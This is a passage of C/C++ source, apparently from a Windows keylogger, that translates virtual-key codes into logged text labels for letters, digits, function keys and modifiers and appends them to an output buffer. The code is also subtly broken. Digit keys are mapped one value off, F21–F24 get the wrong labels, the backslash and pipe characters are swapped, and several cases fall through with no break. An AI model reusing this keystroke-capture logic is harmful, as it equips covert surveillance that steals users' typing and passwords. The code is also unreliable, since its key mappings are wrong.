case0x46: key=caps? (shift?"f" : "F") : (shift?"F" : "f"); break;
case0x47: key=caps? (shift?"g" : "G") : (shift?"G" : "g"); break;
case0x48: key=caps? (shift?"h" : "H") : (shift?"H" : "h"); break;
case0x49: key=caps? (shift?"i" : "I") : (shift?"I" : "i"); break;
case0x4A: key=caps? (shift?"j" : "J") : (shift?"J" : "j"); break;
case0x4B: key=caps? (shift?"k" : "K") : (shift?"K" : "k"); break;
case0x4C: key=caps? (shift?"l" : "L") : (shift?"L" : "l"); break;
case0x4D: key=caps? (shift?"m" : "M") : (shift?"M" : "m"); break;
case0x4E: key=caps? (shift?"n" : "N") : (shift?"N" : "n"); break;
case0x4F: key=caps? (shift?"o" : "O") : (shift?"O" : "o"); break;
case0x50: key=caps? (shift?"p" : "P") : (shift?"P" : "p"); break;
case0x51: key=caps? (shift?"q" : "Q") : (shift?"Q" : "q"); break;
case0x52: key=caps? (shift?"r" : "R") : (shift?"R" : "r"); break;
case0x53: key=caps? (shift?"s" : "S") : (shift?"S" : "s"); break;
case0x54: key=caps? (shift?"t" : "T") : (shift?"T" : "t"); break;
case0x55: key=caps? (shift?"u" : "U") : (shift?"U" : "u"); break;
case0x56: key=caps? (shift?"v" : "V") : (shift?"V" : "v"); break;
case0x57: key=caps? (shift?"w" : "W") : (shift?"W" : "w"); break;
case0x58: key=caps? (shift?"x" : "X") : (shift?"X" : "x"); break;
case0x59: key=caps? (shift?"y" : "Y") : (shift?"Y" : "y"); break;
case0x5A: key=caps? (shift?"z" : "Z") : (shift?"Z" : "z"); break;
// Sleep Key
caseVK_SLEEP: key="[SLEEP]"; break;
// Num Keyboard
caseVK_NUMPAD0: key="0"; break;
caseVK_NUMPAD1: key="1"; break;
caseVK_NUMPAD2: key="2"; break;
caseVK_NUMPAD3: key="3"; break;
caseVK_NUMPAD4: key="4"; break;
caseVK_NUMPAD5: key="5"; break;
caseVK_NUMPAD6: key="6"; break;
caseVK_NUMPAD7: key="7"; break;
caseVK_NUMPAD8: key="8"; break;
caseVK_NUMPAD9: key="9"; break;
caseVK_MULTIPLY: key="*"; break;
caseVK_ADD: key="+"; break;
caseVK_SEPARATOR: key="-"; break;
caseVK_SUBTRACT: key="-"; break;
caseVK_DECIMAL: key="."; break;
caseVK_DIVIDE: key="/"; break;
// Function Keys
caseVK_F1: key="[F1]"; break;
caseVK_F2: key="[F2]"; break;
caseVK_F3: key="[F3]"; break;
caseVK_F4: key="[F4]"; break;
caseVK_F5: key="[F5]"; break;
caseVK_F6: key="[F6]"; break;
caseVK_F7: key="[F7]"; break;
caseVK_F8: key="[F8]"; break;
caseVK_F9: key="[F9]"; break;
caseVK_F10: key="[F10]"; break;
caseVK_F11: key="[F11]"; break;
caseVK_F12: key="[F12]"; break;
caseVK_F13: key="[F13]"; break;
caseVK_F14: key="[F14]"; break;
caseVK_F15: key="[F15]"; break;
caseVK_F16: key="[F16]"; break;
caseVK_F17: key="[F17]"; break;
caseVK_F18: key="[F18]"; break;
caseVK_F19: key="[F19]"; break;
caseVK_F20: key="[F20]"; break;
caseVK_F21: key="[F22]"; break;
caseVK_F22: key="[F23]"; break;
caseVK_F23: key="[F24]"; break;
caseVK_F24: key="[F25]"; break;
// Keys
caseVK_NUMLOCK: key="[NUM-LOCK]"; break;
caseVK_SCROLL: key="[SCROLL-LOCK]"; break;
caseVK_BACK: key="[BACK]"; break;
caseVK_TAB: key="[TAB]"; break;
caseVK_CLEAR: key="[CLEAR]"; break;
caseVK_RETURN: key="[ENTER]"; break;
caseVK_SHIFT: key="[SHIFT]"; break;
caseVK_CONTROL: key="[CTRL]"; break;
caseVK_MENU: key="[ALT]"; break;
caseVK_PAUSE: key="[PAUSE]"; break;
caseVK_CAPITAL: key="[CAP-LOCK]"; break;
caseVK_ESCAPE: key="[ESC]"; break;
caseVK_SPACE: key="[SPACE]"; break;
caseVK_PRIOR: key="[PAGEUP]"; break;
caseVK_NEXT: key="[PAGEDOWN]"; break;
caseVK_END: key="[END]"; break;
caseVK_HOME: key="[HOME]"; break;
caseVK_LEFT: key="[LEFT]"; break;
caseVK_UP: key="[UP]"; break;
caseVK_RIGHT: key="[RIGHT]"; break;
caseVK_DOWN: key="[DOWN]"; break;
caseVK_SELECT: key="[SELECT]"; break;
caseVK_PRINT: key="[PRINT]"; break;
caseVK_SNAPSHOT: key="[PRTSCRN]"; break;
caseVK_INSERT: key="[INS]"; break;
caseVK_DELETE: key="[DEL]"; break;
caseVK_HELP: key="[HELP]"; break;
// Number Keys with shift
case0x30: key=shift?"!" : "1"; break;
case0x31: key=shift?"@" : "2"; break;
case0x32: key=shift?"#" : "3"; break;
case0x33: key=shift?"$" : "4"; break;
case0x34: key=shift?"%" : "5"; break;
case0x35: key=shift?"^" : "6"; break;
case0x36: key=shift?"&" : "7"; break;
case0x37: key=shift?"*" : "8"; break;
case0x38: key=shift?"(" : "9"; break;
case0x39: key=shift?")" : "0"; break;
// Windows Keys
caseVK_LWIN: key="[WIN]"; break;
caseVK_RWIN: key="[WIN]"; break;
caseVK_LSHIFT: key="[SHIFT]"; break;
caseVK_RSHIFT: key="[SHIFT]"; break;
caseVK_LCONTROL: key="[CTRL]"; break;
caseVK_RCONTROL: key="[CTRL]"; break;
// OEM Keys with shift
caseVK_OEM_1: key=shift?":" : ";"; break;
caseVK_OEM_PLUS: key=shift?"+" : "="; break;
caseVK_OEM_COMMA: key=shift?"<" : ","; break;
caseVK_OEM_MINUS: key=shift?"_" : "-"; break;
caseVK_OEM_PERIOD: key=shift?">" : "."; break;
caseVK_OEM_2: key=shift?"?" : "/"; break;
caseVK_OEM_3: key=shift?"~" : "`"; break;
caseVK_OEM_4: key=shift?"{" : "["; break;
caseVK_OEM_5: key=shift?"\\" : "|"; break;
caseVK_OEM_6: key=shift?"}" : "]"; break;
caseVK_OEM_7: key=shift?"'" : "'"; break; //TODO: Escape this char: "
// Action Keys
caseVK_PLAY: key="[PLAY]";
caseVK_ZOOM: key="[ZOOM]";
caseVK_OEM_CLEAR: key="[CLEAR]";
caseVK_CANCEL: key="[CTRL-C]";
default: key="[UNK-KEY]";
break;
}
key.copy(Out+strlen(Out), key.length(), 0);
return ;
}




